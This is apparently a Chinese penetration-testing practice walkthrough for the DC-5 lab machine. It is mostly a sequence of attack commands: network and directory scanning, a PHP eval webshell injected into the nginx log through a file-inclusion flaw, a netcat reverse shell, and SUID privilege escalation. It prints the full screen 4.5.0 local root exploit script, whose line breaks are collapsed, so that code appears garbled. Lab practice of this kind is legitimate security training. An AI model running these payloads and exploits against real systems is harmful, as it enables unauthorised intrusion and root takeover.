渗透测试 - DC-5 - 练习篇

ip a

nmap 192.168.40.1/24

nmap -A -sV -T4 -p- 192.168.40.149

dirsearch -u http://192.168.40.149/thankyou.php

192.168.40.149/thankyou.php?file=<?php @eval($_POST[aaa]);?>

http://192.168.40.149/thankyou.php/wp-content/plugins/wp-publication-archive/includes/openfile.php?file=/var/log/nginx/error.log

nc -lvp 4444

nc 192.168.40.130 4444 -e /bin/sh

ls

python -c 'import pty;pty.spawn("/bin/bash")'

SUID（SetUser ID）提权 是一种利用文件的特殊权限配置（setuid）来提升权限的攻击方法。SUID 是 Unix 和类 Unix 系统中的一种特殊权限，它使得文件在被执行时，以文件所有者的权限运行，而不是执行者的权限。SUID 权限介绍SUID（SetUser ID） 是一种文件权限标志，当它被设置时，文件在被执行时会以文件的拥有者权限运行。举个例子，如果 文件设置了 SUID 权限，那么即使普通用户执行这个程序，它也会以 root 用户的权限运行，从而使得该用户可以修改系统密码。具有 SUID 权限的文件通常是需要系统管理员权限才能执行的程序。

find / -perm -u=s -type f 2>/dev/null解释命令：find /：在整个文件系统根目录 下进行查找。/-perm -u=s：查找设置了 setuid 权限的文件。setuid 是一种特殊权限，表示该文件在执行时会以文件所有者的权限运行，而不是执行者的权限。通常，这会用于系统程序（如 ）以提升权限。/bin/passwd-type f：仅查找文件，排除目录等其他类型的文件系统条目。2>/dev/null：将错误输出重定向到 ，即忽略任何错误信息，常用来屏蔽权限不足或其他错误导致的警告。/dev/null

screen 是一款由 GNU 开发的命令行终端工具，它提供了从多个终端窗口连接到同一个 shell 会话（会话共享）。当网络中断，或终端窗口意外关闭是，中 screen 中运行的程序任然可以运行（系统自带的终端窗口，当窗口意外关闭时，在该终端窗口中运行的程序也会终止。）。

searchsploit screen 4.5.0

#!/bin/bash# screenroot.sh# setuid screen v4.5.0 local root exploit# abuses ld.so.preload overwriting to get root.# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html# HACKTHEPLANET# ~ infodox (25/1/2017)echo "~ gnu/screenroot ~"echo "[+] First, we create our shell and library..."cat <<EOF>/tmp/libhax.c#include <stdio.h>#include <sys/types.h>#include <unistd.h>__attribute__ ((__constructor__))void dropshell(void){    chown("/tmp/rootshell", 0, 0);    chmod("/tmp/rootshell", 04755);    unlink("/etc/ld.so.preload");    printf("[+] done!n");}EOFgcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.crm -f /tmp/libhax.ccat << EOF > /tmp/rootshell.c#include <stdio.h>int main(void){    setuid(0);    setgid(0);    seteuid(0);    setegid(0);    execvp("/bin/sh", NULL, NULL);}EOFgcc -o /tmp/rootshell /tmp/rootshell.crm -f /tmp/rootshell.cecho "[+] Now we create our /etc/ld.so.preload file..."cd /etcumask 000 # becausescreen -D-m -L ld.so.preload echo -ne  "x0a/tmp/libhax.so" # newline neededecho "[+] Triggering..."screen -ls # screen itself is setuid, so.../tmp/rootshell